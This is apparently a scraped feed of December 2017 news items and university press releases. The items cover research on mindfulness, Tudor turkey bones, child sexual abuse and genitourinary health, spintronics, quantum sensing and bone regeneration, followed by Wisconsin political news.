"Our projects are most successful (and enjoyable) when we collaborate with people outside the academic sphere, in this particular project with the Student Counselling Service, University authorities, and the students themselves."

The mindfulness trial was 'blinded', meaning that the researchers did not know which students (and hence which data) belonged to which group. The 'unblinding' of the results - when they found out whether their trial was successful - was nerve-wracking, she says. "The team statistician didn't know which group had received mindfulness training and which group was the control. He showed his results to the rest of the team and we could all see that there was a clear difference between the groups, but we didn't know whether this meant really good or really bad news for mindfulness training. When the results were then unveiled, we all laughed with relief!"

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Reference

Galante, J et al. Effectiveness of providing university students with a mindfulness-based intervention to increase resilience to stress: a pragmatic randomised controlled trial. Lancet Public Health; 19 December 2017; DOI: 10.1016/S2468-2667(17)30231-1
Bones dug up from under an Exeter street may be the remains of the first ever turkey dinner in England, archaeologists believe.

The 16th century bones - two femurs (thigh bones) and an ulna (wing) - have been analysed by University of Exeter archaeologists and identified as among some the first turkeys to be brought to England from the Americas. The bones are on display at the Royal Albert Memorial Museum & Art Gallery (RAMM) where Spanish, German and Italian pottery and glassware from the same site are also displayed. These items could have been on the table when the turkey dinner was served. The first turkeys were introduced to England in 1524 or 1526 by William Strickland, a member of Parliament in the reign of Elizabeth the first, following a voyage to the Americas.

Strickland is recorded to have bought six turkeys from Native American traders, and after he sailed back with them to Bristol, which is 80 miles away from Exeter, sold them for tuppence each.

When turkeys first appeared in England they would have been a rare sight and the first ones are more likely to have been kept as pets for display of wealth rather than served as food.

The bird became very popular after 1550 and already a common sight at Christmas dinners by the 1570s, before Thanksgiving in America was even invented. Popular history even suggests that Henry VIII may have had turkey for Christmas. The bird became so popular that thousands of turkeys were driven in to London like cattle in the 17th century.

The bones were found in 1983 as part of excavations at Paul Street, in central Exeter, before the building of a shopping centre but have never been identified or dated. Archaeologists at the University of Exeter have now examined the bones and judging from pottery lying beside them, they date from the period 1520 to 1550.

Professor Alan Outram, zooarchaeologist and Head of Archaeology at Exeter, said: "As the date of these bones overlaps with the historical evidence of Stickland's introduction of the birds, the remains of this feast may well represent the earliest physical evidence for a turkey dinner in Britain. This is an important discovery and could allow more research to be carried out about early domestic breeds and how the turkey has changed genetically since the 16th century."

Analysis by Malene Lauritsen, a post-graduate researcher in the University of Exeter's archaeology department, has proved from the bones that the turkeys were butchered and were probably eaten as part of a feast by wealthy people. The pottery lying alongside was also of high quality.

They were found together with the remains of a veal calf, several chickens, at least one goose and a sheep. This selection of food - some of which were very expensive at the time - suggests this was the rubbish created by a feast attended by people of high status.

"What is exciting about these turkey bones found in Exeter is that they date from almost exactly the same time as the first birds came to England. Their age certainly means it is possible that these are the remains of one of the first turkeys to come to England, or a turkey bred from this group," Ms Lauritsen said.

"It is extremely rare to find turkey bones from this period. Remains from the first half of the 16th century have only been found in two other sites in Britain, the oldest from at St Alban's Abbey in Hertfordshire. I have found cut marks on the bones, showing the birds were butchered. We can only guess at who ate them, and for what reason, but turkey would have been very expensive and the same household certainly ate other pricy meat too, so this must have been a special occasion."

Wild turkeys were eaten by native Americans and their feathers were also used for ceremonial purposes, including headdresses and robes.

They were first brought to Britain from America by William Strickland, a Puritan, who traded them with Native Americans. He continued to import them and made so much money, he was able to build a stately home in Yorkshire.

Strickland, who became an MP and was known for his ferocious debating style, adopted the turkey as the symbol on his family crest in 1550. His coat of arms is reported to be the first depiction of the turkey in Britain. The village church where Strickland is buried has images of turkeys depicted in stained-glass windows, a carved lectern and even stone sculptures on the walls. The bones found during excavations at Paul street, in central Exeter, have been stored in boxes in the Royal Albert Memorial Museum's stores, and are on temporary display.

The bones are part of the collections at RAMM, and are on temporary display to celebrate the new discovery about their origins. In February 2020, the bones will be displayed in RAMM's Making History Gallery alongside all the discoveries made from a wider archaeological research project with the University of Exeter called "Exeter: A Place in Time".

RAMM Assistant Curator Tom Cadbury said: "This is a fascinating discovery and really shows what an international place Tudor Exeter was. RAMM already displays some of the Spanish, German and Italian pottery and glassware found on the site, perhaps the turkey dinner was eaten off one of these. RAMM welcomes research on the archaeological finds from Exeter in the museum; evidence such as this helps us uncover stories about the lives of past people in Exeter."

Cllr Rachel Sutton, Lead Councillor for Economy & Culture and Deputy Leader of Exeter City Council said: "Exeter is blessed having a museum and a university that are both world-class. Working together, they are uncovering information about Exeter's past that would have been inconceivable only decades ago. Collaborations such as these are vital to Exeter's success."

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LAWRENCE -- The University of Kansas' Center for Molecular Analysis of Disease Pathways, a National Institutes of Health Center of Biomedical Research Excellence (COBRE), recently earned a second phase of grant funding in the amount of $10.8 million for an additional five years.

Originally established in 2012, the grant enables KU researchers and others across the state of Kansas to create tools for biomedical science and better understand the genetic, chemical and physical basis of a range of diseases, including cancer, neurological disorders, and pulmonary and cardiovascular diseases.

The center capitalizes on the current strengths of KU in the fields of bioanalytical chemistry, molecular design, genomics and bioengineering. Susan Lunte, the Ralph N. Adams Distinguished Professor in the departments of Chemistry & Pharmaceutical Chemistry and director of the Ralph N. Adams Institute for Bioanalytical Chemistry, remains the director and principal investigator of the grant. She is again joined on the project by co-investigators Blake Peterson, Regents Distinguished Professor of Medicinal Chemistry, and Professor Erik Lundquist of the Department of Molecular Biosciences, where he is also director of the Genetics Program.

"With the award of the COBRE's second phase of funding, the Center for Molecular Analysis of Disease Pathways will continue to enable KU researchers to make breakthroughs in numerous areas of research in health and science as relates to the theme of the center," Lunte said. "These include innovative new approaches to investigate cancer, neurodegeneration, cardiovascular disease and bacterial infections."

The center's three core facilities were established during Phase I and are focused on providing tools for junior investigators working on the development or application of new enabling technologies to study disease pathway. These facilities are also available to researchers at KU and other universities in the region:

The Genome Sequencing Core provides researchers with next-generation sequencing technologies, as well as experimental design and analysis of sequence data. The core is involved in the identification of genetic (genotypic) elements that underlie the disease and disease pathways.

The Microfabrication & Microfluidics Core makes resources and personnel available for the production of micro- and nano-scale devices to be used by project investigators for their studies. Equipment and training are available to investigators for the fabrication of devices for biomedical, biophysical and bioanalytical studies related to disease pathways.

The Synthetic Chemical Biology Core offers expert design of molecular probes and synthesis of both small molecules and peptides, with an emphasis on the generation of fluorescent and other tagged molecules, as well as bioassays of molecular probes, including in vitro whole cell assays and in vivo assays using zebrafish.

"During our first phase of funding, we established three very active research core labs that support research at KU and regional institutions," Lunte said. "These labs focus on state of the art genomic analysis, fabrication of lab-on-a-chip devices and synthesis of novel molecular probes. These new core labs have been a critical component of recruiting new faculty members to KU. This includes several assistant professors and one Foundation Professor. The grant also provides opportunities for faculty at KU, Kansas State and other Board of Regents universities statewide to receive individual project funding or vouchers to use core lab services to further their research."

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The center currently supports the disease pathway-related research of five other faculty members at KU and Kansas State University: from KU, Arghya Paul, assistant professor of chemical & petroleum engineering, and Josephine Chandler and Christian Ray, molecular biosciences; from KSU, Mei He, bioengineering, and Jodi McGill, diagnostic medicine/pathobiology. In its first phase of funding, the center awarded research funds to a total of 16 faculty investigators at KU and KSU.

Lunte's center is joined on campus by two other NIH-funded COBRE centers: The Center in Protein Structure and Function, led by Robert Hanzlik, professor of medicinal chemistry, is in its 14th year; and the Center for Chemical Biology of Infectious Disease, led by Thomas Prisinzano, professor of medicinal chemistry, is in its second year.
MONTREAL, Dec. 19, 2017 - For years, scientists and clinicians have been documenting the significant psychological effects on child victims of sexual abuse. But what about the physical impact? Pascale Vezina-Gagnon, a Ph.D. student researcher at the Department of Psychology of Universite de Montreal, has examined the issue as part of her doctoral thesis. Her conclusions have just been published in The Journal of Pediatrics.

In her research, Vezina-Gagnon looked at two groups: a cohort of 882 children who had been victims of sexual abuse, and a comparison group of 882 other children from the general population. She found that up to 12 years after being the victim of one or several assaults, girls in the victims' group received 2.1 times more medical diagnoses for urinary health problems and 1.4 times more diagnoses for genital health problems than girls from the general population. In the case of boys, no difference was observed in the number of diagnoses between boys who had been victims of sexual abuse and those from the general population. There was no significant difference in the number of diagnoses between girls and boys for sexually transmitted infections.

"This study has significant clinical implications," said Vezina-Gagnon. "Up until now we knew very little about the effects of sexual abuse on the physical health of young victims, and more specifically on their genitourinary health, which in general is directly affected in cases of sexual abuse. In view of these findings, it is vital to put certain response and prevention protocols in place to limit the chronicization of these health problems into adulthood."

Study based on government data

The study was conducted under the supervision of UdeM psychology professor Isabelle Daigneault, a specialist in child sexual abuse. It also involved Dr. Jean-Yves Frappier, a pediatric professor at UdeM and specialist in sexual abuse at CHU Sainte-Justine, and Sophie Bergeron, a psychology professor and specialist in the treatment of gynecological pain.

The research team used medical administrative data from the Regie de l'assurance maladie du Quebec (Quebec Health Insurance Board) and the Ministere de la Sante et des Services sociaux (Quebec Department of Health and Social Services) to compare diagnoses of sexually transmitted infections, genital problems and urinary problems in two groups: 882 child victims of sexual abuse ranging in ages from 1 to 17, with an average age of 11 when sexual abuse was corroborated by the Director of Youth Protection; and 882 children from the general population of the same age and of the same socio-economic status.

The most frequently reported problems were urinary infections and bacterial infections in the kidneys for urinary health problems. Whereas for genital problems, the most frequently diagnoses were penile disorders; inflammation of the cervix, the uterus, the vagina and the vulva; vaginitis; ovarian cysts and menstrual problems.

Although the nature of sexual abuse was not specified in the databases supplied to the researchers, a study of cases of abuse handled by the Director of Youth Protection estimated that 46 per cent of assaults involved molestation, 17 per cent involved penetration or attempted penetration, and 9 per cent involved oral sex.

Why girls and not boys?

One of the main findings of this study is that, in boys who've been sexually abused at least once, diagnoses of genitourinary health problems remain unchanged. "It is also possible that the effects of sexual abuse on boys' physical health emerge as other health issues, such as gastrointestinal disorders or other somatic symptoms," said Vezina-Gagnon. "A recent study has also revealed that boys who have been sexually abused have a higher frequency of more serious health issues requiring hospitalization.

Some surprises with STIs

The study revealed surprising results regarding diagnoses of sexually transmitted infections (STIs). For both girls and boys, there was no difference in the number of diagnoses for STIs between the victims and the comparison group, which contradicts the findings of previous studies. "This could be explained by the relatively young age of participants at the end of the study in 2013," said Vezina-Gagnon.

"Although participants' sexual activity wasn't documented in this study, we can assume that some participants were not yet sexually active or had only recently become sexually active. Also, as STIs are frequently asymptomatic, they will not be recorded in the Regie de l'assurance maladie du Quebec database as the main reason for the medical consultation."

A follow-up is coming

"It may come as a surprise that a psychology researcher is interested in physical health rather than mental health, but one of the aspects that challenges me about the effects of sexual abuse is the link between body and mind," the researcher added. "It is from this perspective that I've been studying how some traumatic experiences such as sexual abuse could have more long-term effects on physical health." In upcoming research, Vezina-Gagnon will look at how sexual abuse can affect the incidence of genitourinary health problems in girls, by testing an affective model.

"My hypothesis is that, among girls who have been victim of sexual abuse, those who suffered more from mental health problems will also be those who are most at risk of having urinary and genital health problems in the years following the abuse."

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About the study

Pascale Vezina-Gagnon, Sophie Bergeron, Jean-Yves Frappier and Isabelle Daigneault, "Genitourinary Health of Sexually Abused Girls and Boys: A Matched-Cohort Study", Journal of Pediatrics, December 19, 2017.

This study was funded by grants from the Ministere de la Justice du Quebec (Quebec Ministry of Justice) (no. 126489) and the Fonds de recherche du Quebec - Sante (Quebec Health Research Fund).
MINNEAPOLIS / ST. PAUL (12/18/2017) -- Light can generate an electrical current in semiconductor materials. This is how solar cells generate electricity from sunlight and how smart phone cameras can take photographs. To collect the generated electrical current, called photocurrent, an electric voltage is needed to force the current to flow in only one direction.

In new research, scientists at the University of Minnesota used a first-of-its-kind device to demonstrate a way to control the direction of the photocurrent without deploying an electric voltage. The new study was recently published in the scientific journal Nature Communications.

The study reveals that control is effected by the direction in which the particles of light, called photons, are spinning--clockwise or counterclockwise. The photocurrent generated by the spinning light is also spin-polarized, which means there are more electrons with spin in one direction than in the other. This new device holds significant potential for use in the next generation of microelectronics using electron spin as the fundamental unit of information. It could also be used for energy efficient optical communication in data centers.

"The observed effect is very strong and robust in our devices, even at room temperature and in open air," said Mo Li, a University of Minnesota electrical and computer engineering associate professor and a lead author of the study. "Therefore, the device we demonstrate has great potential for being implemented in next-generation computation and communication systems."

Optical spin and topological insulators

Light is a form of electromagnetic wave. The way the electric field oscillates, either in a straight line or rotating, is called polarization. (Your polarized sunglasses block part of the unpleasant reflected light that is polarized along a straight line.) In circularly polarized light, the electric field can spin in the clockwise or counterclockwise direction. In such a state, the particle of light (photon) is said to have positive or negative optical spin angular momentum. This optical spin is analogous to the spin of electrons, and endows magnetic properties to materials.

Recently, a new category of materials, called topological insulators (TI), was discovered to have an intriguing property not found in common semiconductor materials. Imagine a road on which red cars only drive on the left lane, and blue cars only in the right lane. Similarly, on the surface of a TI, the electrons with their spins pointing one way always flow in one direction. This effect is called spin-momentum locking--the spin of the electrons is locked in the direction they travel.

Interestingly, shining a circularly polarized light on a TI can free electrons from its inside to flow on its surface in a selective way, for example, clockwise light for spin-up electrons and counterclockwise for spin-down electrons. Because of this effect, the generated photocurrent on the surface of the TI material spontaneously flows in one direction, requiring no electric voltage. This particular feature is significant for controlling the direction of a photocurrent. Because most of the electrons in this current have their spins pointing in a single direction, this current is spin-polarized.

Controlling direction and polarization

To fabricate their unique device that can change the direction of a photocurrent without the use of an electric voltage, the University's research team integrated a thin film of a TI material, bismuth selenide, on an optical waveguide made of silicon. Light flows through the waveguide (a tiny wire measuring 1.5 microns wide and 0.22 micron high) just like electrical current flows through a copper wire. Because light is tightly squeezed in the waveguide, it tends to be circularly polarized along a direction normal to the direction in which it flows. This is akin to the spin-momentum locking effect of the electrons in a TI material.

The scientists supposed that integrating a TI material with the optical waveguide will induce strong coupling between the light in the waveguide and the electrons in the TI material, both having the same, intriguing spin-momentum locking effect. The coupling will result in a unique optoelectronic effect--light flowing along one direction in the waveguide generates an electrical current flowing in the same direction with electron spin polarized.

Reversing the light direction reverses both the direction of the current and its spin polarization. And this is exactly what the team observed in their devices. Other possible causes of the observed effect, such as heat generated by the light, have been ruled out through careful experiments.

Future prospects

The outcome of the research is exciting for the researchers. It bears enormous potential for possible applications.

"Our devices generate a spin-polarized current flowing on the surface of a topological insulator. They can be used as a current source for spintronic devices, which use electron spin to transmit and process information with very low energy cost," said Li He, a University of Minnesota physics graduate student and an author of the paper.

"Our research bridges two important fields of nanotechnology: spintronics and nanophotonics. It is fully integrated with a silicon photonic circuit that can be manufactured on a large scale and has already been widely used in optical communication in data centers," He added.

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This research was funded by the Center for Spintronic Materials, Interfaces and Novel Architectures (C-SPIN) at the University of Minnesota, a Semiconductor Research Corporation program sponsored by the Microelectronics Advanced Research Corp. (MARCO) and the Defense Advanced Research Projects Agency (DARPA), and the National Science Foundation (NSF).

Parts of this research were carried out in the University of Minnesota Nanofabrication Center which receives partial support from NSF through National Nanotechnology Coordinated Infrastructure (NNCI) program, and the Characterization Facility which is a member of the NSF-funded Materials Research Facilities Network via the University of Minnesota Materials Research Science and Engineering Center (MRSEC) program. Li He received a Doctoral Dissertation Fellowship provided by the University of Minnesota Graduate School that supported his work.

To read the full research paper, entitled "Spin-momentum locked interaction between guided photons and surface electrons in topological insulators," visit the Nature Communications website.
A University of Sydney team has solved a common problem in quantum sensing devices, which are used in biomedical imaging and have defence applications.

Industrial sensors are everywhere in our technology and in order to function successfully they must be able to identify tiny signals from a cluttered background.

For most humans this is simple. Walk into a crowded room and you can pick out a single voice while ignoring everyone else. That trick isn't so easy for industrial sensors - and the challenge gets even harder for super-sensitive quantum devices.

Now, a team led by Professor Michael J. Biercuk from the University of Sydney, in collaboration with Dartmouth College and Johns Hopkins Applied Physics Laboratory in the US, has developed quantum control techniques enabling a new generation of ultra-sensitive sensors that can identify tiny signals while rejecting background noise down to theoretical limits.

"By applying the right quantum controls to a qubit-based sensor, we can adjust its response in a way that guarantees the best possible exclusion of the background clutter - that is, the other voices in the room," said Professor Biercuk, a chief investigator at the ARC Centre of Excellence for Engineered Quantum Systems.

While devices themselves have improved, the measurement protocols used to capture and interpret the signals have lagged behind. Quantum sensors therefore often return fuzzy results, which complicates interpretation of the data through a phenomenon known as "spectral leakage" - a bit like being distracted by the wrong voices in the room.

The University of Sydney research, published on Tuesday in Nature Communications, demonstrates control protocols that will help take advantage of improved sensor hardware.

The experiments, using trapped atomic ions, have reduced spectral leakage by many orders of magnitude over conventional methods. Professor Biercuk said in certain circumstances, the methods they have developed are up to 100 million times better at excluding this background.

Quantum sensors take advantage of the very thing that makes building quantum computers so difficult. Quantum bits, or qubits, are the building blocks of quantum computers but they are highly prone to losing their quantum properties due to interference from the environment. This challenge can be turned on its head and used to build sensors that are much more responsive to the environment than classical technologies.

Professor Biercuk said the new protocols could have applications in medicine, such as imaging inside living cells using nanodiamonds. They could also be used in defence and security systems that use quantum-enhanced magnetometers, devices that measure changes in magnetic fields for target identification and tracking.

He said: "Our approach is relevant to nearly any quantum sensing application and can also be applied to quantum computing as it provides a way help identify sources of hardware error. This is a major advance in how we operate quantum sensors."

Professor Biercuk has recently launched a venture-capital-backed spin-off from the work being done at the University of Sydney. Q-Ctrl aims to be the trusted provider of quantum control solutions for all new quantum technologies.

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Notes for editors:

Professor Michael J. Biercuk is Director of the Quantum Control Laboratory in the Sydney Nanoscience Hub at the University of Sydney.

The Sydney Nanoscience Hub is the flagship building of the University of Sydney Nano Institute.
Tokyo, Japan -- Despite centuries of inquiry, we still don't know how our intelligence came about. On Sunday, December 17, 2017, researchers at the new University of Tokyo International Research Center for Neurointelligence (IRCN), held their first annual symposium to kick off a new effort to find out.

Members of the new IRCN gathered at the Ito Hall, on the University of Tokyo's Hongo Campus in Tokyo, Japan, to launch an ambitious international research effort and student exchange. The symposium welcomed collaborators from around the world to discuss the IRCN's research themes and set the agenda for the new center.

The IRCN is supported by the Japanese Ministry of Education, Culture, Sports, Science and Technology (MEXT) under the World Premier International Research Center Initiative (WPI). The new center, established in October 2017, gathers researchers from across the sciences under world-leading neuroscientist Professor Takao Hensch, to create a new discipline of neurointelligence.

The WPI program is one of the world's preeminent research excellence initiatives. It supports Japanese institutions setting up centers that bring together top-level researchers from around the world to advance cutting-edge research, create novel interdisciplinary research domains, internationalize the research environment and reform research organizations. The new IRCN is expected to fulfill all of these objectives.

"The International Research Center for Neurointelligence sets out with the ambitious goal of understanding human intelligence. This great subject has interested researchers for many years, but we still know very little," says University of Tokyo President Makoto Gonokami. "Our first WPI, the Kavli Institute for the Physics and Mathematics of the Universe, brought together the best minds from around the world to understand the origins of the universe and all it contains. This new WPI will do the same for the equally complex system inside our own heads, bringing top researchers from around the world to work together toward a common goal, the understanding of human intelligence and how it came about. Like the Kavli IPMU, the IRCN will be a special area within the University of Tokyo, creating a truly international environment that will accelerate our efforts to internationalize the university campus as a whole."

The IRCN aims to create a new discipline of neurointelligence, fusing the life sciences, medicine, linguistics, mathematical sciences, information science and artificial intelligence. Focusing on how neurons mature inside the brain, the center's goal is to discover new principles of neural circuit development to drive the creation of innovative AI technologies, understand how impaired neural development results in psychiatric disorders, and nurture young international AI-neuroscientists. In the future, the IRCN will expand its reach to researchers in the humanities and social sciences to further deepen our understanding of human intelligence.

"While great technical strides have been made in prying open the black box of the brain, and artificial deep-learning algorithms can now defeat Go masters, we are far from understanding the general and flexible intelligence characteristic of humans," explains Professor Hensch. "Focusing on key principles of neural circuit development and how it goes awry in mental disorders promises new insights for a more efficient, neuro-inspired AI. This in turn will offer computational approaches to better understanding the human condition. I am particularly pleased by the opportunity to train a new generation of global scholars fluent in both neuroscience and information science by connecting the talented students at Harvard and the University of Tokyo."

The University of Tokyo is the only institution in Japan to host two WPI centers. The first, the Kavli IPMU, was established as the IPMU in 2007, one of just five such centers adopted by MEXT at that time. Since then, it has received support from the Kavli Foundation and become a member of the global Kavli family of research institutes. Under the leadership of Professor Hitoshi Murayama, a particle physicist who splits his time between the University of Tokyo and the University of California, Berkeley, the Kavli IPMU has become a world-leader in its field.

Professor Murayama cheered the new WPI. "I am excited to welcome a sister WPI center to the University of Tokyo! The WPI program was created by the Japanese cabinet in 2007 to boost the international visibility of science in Japan and to promote reform of the national university system by establishing international research centers carrying out world-class interdisciplinary research. We will share our Kavli-IPMU experiences in kick-starting the IRCN and hope also to have scientific interactions between scientists who study the outer Universe and the inner Universe." At the symposium, Professor Murayama provided an overview of the WPI system.

"The IRCN will be internationally focused and interdisciplinary from the start," says President Gonokami. "In addition, once the team at the IRCN is well established, we look forward to expanding their collaborations to include the humanities and social sciences. Fusing the fruits of the IRCN's research with the accumulated knowledge of the humanities and social sciences, the new center will contribute to overcoming society's challenges through a deeper understanding of human intelligence. The IRCN will also be training many young researchers in this new field. I look forward to welcoming a new generation of young AI-neuroscientists who will be the future of this discipline."

The IRCN will form the core of a new international network of research institutions focusing on the foundations of intelligence. Partner institutions include Boston Children's Hospital at Harvard University and the Max Planck Florida Institute for Neuroscience in the USA, and RIKEN in Japan. Members will come together on an ad-hoc basis for research collaboration, workshops throughout the year, student exchange, and at the annual IRCN international symposium.

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About the University of Tokyo

The University of Tokyo is Japan's leading university and one of the world's top research universities. The vast research output of some 6,000 researchers is published in the world's top journals across the arts and sciences. Our vibrant student body of around 15,000 undergraduate and 15,000 graduate students includes over 2,000 international students. Find out more at http://www.u-tokyo.ac.jp/en/ or follow us on Twitter at @UTokyo_News_en.

Collaborating institutions:

Boston Children's Hospital (Harvard University)

Max Planck Florida Institute for Neuroscience

RIKEN

Research contact:

International Research Center for Neurointelligence, The University of Tokyo

7-3-1 Hongo, Bunkyo-ku, Tokyo 113-8654 JAPAN

Professor Takao Hensch (Director)

Tel: +1-617-384-5882

Email: hensch@mcb.harvard.edu

Professor Masanobu Kano (Deputy director)

Tel: +81-3-5802-3314

Email: mkano-tky@m.u-tokyo.ac.jp

Professor Kazuo Emoto (Deputy director)

Tel: +81-3-5841-4426

Email: emoto@bs.s.u-tokyo.ac.jp

Press officer contact:

Joseph Krisher

Division for Strategic Public Relations, The University of Tokyo

7-3-1 Hongo, Bunkyo-ku, Tokyo 113-8654 JAPAN

Tel: +81-3-5841-1045

Fax: +81-3-3816-3913

Email: kouhoukikaku.adm@gs.mail.u-tokyo.ac.jp
Some secrets to repair our skeletons might be found in the silky webs of spiders, according to recent experiments guided by supercomputers. Scientists involved say their results will help understand the details of osteoregeneration, or how bones regenerate.

A study found that genes could be activated in human stem cells that initiate biomineralization, a key step in bone formation. Scientists achieved these results with engineered silk derived from the dragline of golden orb weaver spider webs, which they combined with silica. The study appeared September 2017 in the journal Advanced Functional Materials and has been the result of the combined effort from three institutions: Tufts University, Massachusetts Institute of Technology and Nottingham Trent University.

Study authors used the supercomputers Stampede1 at the Texas Advanced Computing Center (TACC) of the University of Texas at Austin and Comet at the San Diego Supercomputer Center (SDSC) of the University of California San Diego through an allocation from XSEDE, the eXtreme Science and Engineering Discovery Environment, funded by the National Science Foundation. The supercomputers helped scientists model how the cell membrane protein receptor called integrin folds and activates the intracellular pathways that lead to bone formation. The research will help larger efforts to cure bone growth diseases such as osteoporosis or calcific aortic valve disease.

"This work demonstrates a direct link between silk-silica-based biomaterials and intracellular pathways leading to osteogenesis," said study co-author Zaira Martin-Moldes, a post-doctoral scholar at the Kaplan Lab of Tufts University. She researches the development of new biomaterials based on silk. "The hybrid material promoted the differentiation of human mesenchymal stem cells, the progenitor cells from the bone marrow, to osteoblasts as an indicator of osteogenesis, or bone-like tissue formation," Martin-Moldes said.

"Silk has been shown to be a suitable scaffold for tissue regeneration, due to its outstanding mechanical properties," Martin-Moldes explained. It's biodegradable. It's biocompatible. And it's fine-tunable through bioengineering modifications. The experimental team at Tufts University modified the genetic sequence of silk from golden orb weaver spiders (Nephila clavipes) and fused the silica-promoting peptide R5 derived from a gene of the diatom Cylindrotheca fusiformis silaffin.

The bone formation study targeted biomineralization, a critical process in materials biology. "We would love to generate a model that helps us predict and modulate these responses both in terms of preventing the mineralization and also to promote it," Martin-Moldes said.

"High performance supercomputing simulations are utilized along with experimental approaches to develop a model for the integrin activation, which is the first step in the bone formation process," said study co-author Davoud Ebrahimi, a postdoctoral associate at the Laboratory for Atomistic and Molecular Mechanics of the Massachusetts Institute of Technology.

Integrin embeds itself in the cell membrane and mediates signals between the inside and the outside of cells. In its dormant state, the head unit sticking out of the membrane is bent over like a nodding sleeper. This inactive state prevents cellular adhesion. In its activated state, the head unit straightens out and is available for chemical binding at its exposed ligand region.

"Sampling different states of the conformation of integrins in contact with silicified or non-silicified surfaces could predict activation of the pathway," Ebrahimi explained. Sampling the folding of proteins remains a classically computationally expensive problem, despite recent and large efforts in developing new algorithms.

The derived silk-silica chimera they studied weighed in around a hefty 40 kilodaltons. "In this research, what we did in order to reduce the computational costs, we have only modeled the head piece of the protein, which is getting in contact with the surface that we're modeling," Ebrahimi said. "But again, it's a big system to simulate and can't be done on an ordinary system or ordinary computers."

The Computational team at MIT used the molecular dynamics package called Gromacs, a software for chemical simulation available on both the Stampede1 and Comet supercomputing systems. "We could perform those large simulations by having access to XSEDE computational clusters," he said.

"I have a very long-standing positive experience using XSEDE resources," said Ebrahimi. "I've been using them for almost 10 years now for my projects during my graduate and post-doctoral experiences. And the staff at XSEDE are really helpful if you encounter any problems. If you need software that should be installed and it's not available, they help and guide you through the process of doing your research. I remember exchanging a lot of emails the first time I was trying to use the clusters, and I was not so familiar. I got a lot of help from XSEDE resources and people at XSEDE. I really appreciate the time and effort that they put in order to solve computational problems that we usually encounter during our simulation," Ebrahimi reflected.

Computation combined with experimentation helped advance work in developing a model of osteoregeneration. "We propose a mechanism in our work," explained Martin-Moldes, "that starts with the silica-silk surface activating a specific cell membrane protein receptor, in this case integrin V3." She said this activation triggers a cascade in the cell through three mitogen-activated protein kinsase (MAPK) pathways, the main one being the c-Jun N-terminal kinase (JNK) cascade.

She added that other factors are also involved in this process such as Runx2, the main transcription factor related to osteogenesis. According to the study, the control system did not show any response, and neither did the blockage of integrin using an antibody, confirming its involvement in this process. "Another important outcome was the correlation between the amount of silica deposited in the film and the level of induction of the genes that we analyzed," Martin-Moldes said. "These factors also provide an important feature to control in future material design for bone-forming biomaterials."

"We are doing a basic research here with our silk-silica systems," Martin-Moldes explained. "But we are helping in building the pathway to generate biomaterials that could be used in the future. The mineralization is a critical process. The final goal is to develop these models that help design the biomaterials to optimize the bone regeneration process, when the bone is required to regenerate or to minimize it when we need to reduce the bone formation."

These results help advance the research and are useful in larger efforts to help cure and treat bone diseases. "We could help in curing disease related to bone formation, such as calcific aortic valve disease or osteoporosis, which we need to know the pathway to control the amount of bone formed, to either reduce or increase it, Ebrahimi said.

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"Intracellular Pathways Involved in Bone Regeneration Triggered by Recombinant Silk-Silica Chimeras," DOI: 10.1002/adfm.201702570, appeared September 2017 in the journal Advanced Functional Materials. The National Institutes of Health funded the study, and the National Science Foundation through XSEDE provided computational resources. The study authors are Zaira Martin-Moldes, Nina Dinjaski, David L. Kaplan of Tufts University; Davoud Ebrahimi and Markus J. Buehler of the Massachusetts Institute of Technology; Robyn Plowright and Carole C. Perry of Nottingham Trent University.
RACINE  Voters in the 66th State Assembly District can head to the polls today to cast a ballot in the Democratic primary. No Republican or other party candidates filed to run in the election, so the winner to todays election likely will be the new state representative for a large part of Racine.

The official election to the seat is Jan. 16. Racine Mayor Cory Mason is stepping down from the seat after being elected mayor in October.

The voters today will have a choice between 3rd District City Alderman John Tate II and Greta Neubauer, a former aide to Mason.

Tate, 33, is serving in his first term as alderman, was elected to the City Council in April and works as a social worker.

Tates mother is a public sector employee and proud union activist, and Tate has received the endorsement in the race from the United Auto Workers.

Neubauer, 26, served as a legislative aide to Mason from August until announcing her candidacy. For several years she also was the director of a nonprofit that focused on environmental issues. She is the daughter of former state representative Jeff Neubauer and Wisconsin Court of Appeals Judge Lisa Neubauer.

For a little more than a month, both candidates have been knocking on doors and meeting constituents face-to-face. They each have been gathering donations, with some local officials putting their dollars behind their candidate of choice.

One striking contrasting point has been the difference in money raised. Neubauer has raised more than $38,000, and so far Tate has raised a little less than $7,000, according to state campaign finance records.

Most of Neubauers contributors are Wisconsin residents, but she also received some small donations from individuals as far away as San Francisco; Austin, Texas; Washington, D.C.; and Brooklyn, N.Y.

A few notable contributors include Milwaukee Bucks President Alex Lasry, 7th District Alderman Ray DeHahn, Deputy District Attorney Maureen Martinez and State Rep. Jimmy Anderson, D-Fitchburg.

Most of Tates contributions came from Wisconsin residents with a few small donations from Illinois residents. Tate also received the backing of Democratic gubernatorial candidate Andy Gronik, fellow aldermen Dennis Wiser (10th District) and Jason Meekma (14th District), Racine County Supervisor Monte Osterman and Racine Unified School Board members Michael Frontier and John Heckenlively.

Both candidates have similar views and would like to see increased funding to public schools, transportation and infrastructure. Both have been critical of the deal the state made with the Foxconn Technology Group and said they would not have voted for that deal as Mason did as a legislator.

New voting machines

Besides casting a ballot for one of the primary candidates, voters today will be using the new voting machines the county is putting into service.

Gone are the days of voters completing an arrow pointing toward the candidate for whom they intend to vote. Instead, voters will be filling in ovals to mark their choice. Voters will still place their ballots into the machine as they have done in the past, Racine County Clerk Wendy Christensen said.

Christensen added that results from tonights primary will be uploaded all at once to the county website, instead of incrementally, so officials can get more familiar with the new system. However, for future elections, the county might update its website multiple times as the results come in, Christensen said.

Polls are open today from 7 a.m. until 8 p.m.
MADISON  The judge who authorized the release of Attorney General Brad Schimels report on records leaked from an investigation into Gov. Scott Walkers recall campaign said Monday he shouldnt have allowed the release of details of a separate ethics investigation.

In an interview Monday, Jefferson County Circuit Court Judge William Hue accepted responsibility for the release of the information, though he said Schimel never raised any question about whether disclosing details from a closed ethics investigation was permitted.

I really would have done things differently if I had known this issue, Hue said. If youve been investigated by a government entity, and theyve decided they arent going to prosecute that, youd be entitled to an expectation that an investigation done by that entity would be kept in confidence.

Schimels spokesman said he would respond by the end of the day Monday.

The Wisconsin State Journal reported Sunday that Schimels report was the first to disclose the previously unknown ethics investigation into whether Republican state employees were campaigning on taxpayer time.

Schimels report said the investigation had no discernible limit, though the report doesnt explain exactly what he meant by that. However, it didnt mention the former Government Accountability Board, which comprised six retired judges, authorized it in December 2011 and recommended no charges when it closed the investigation in March 2013.

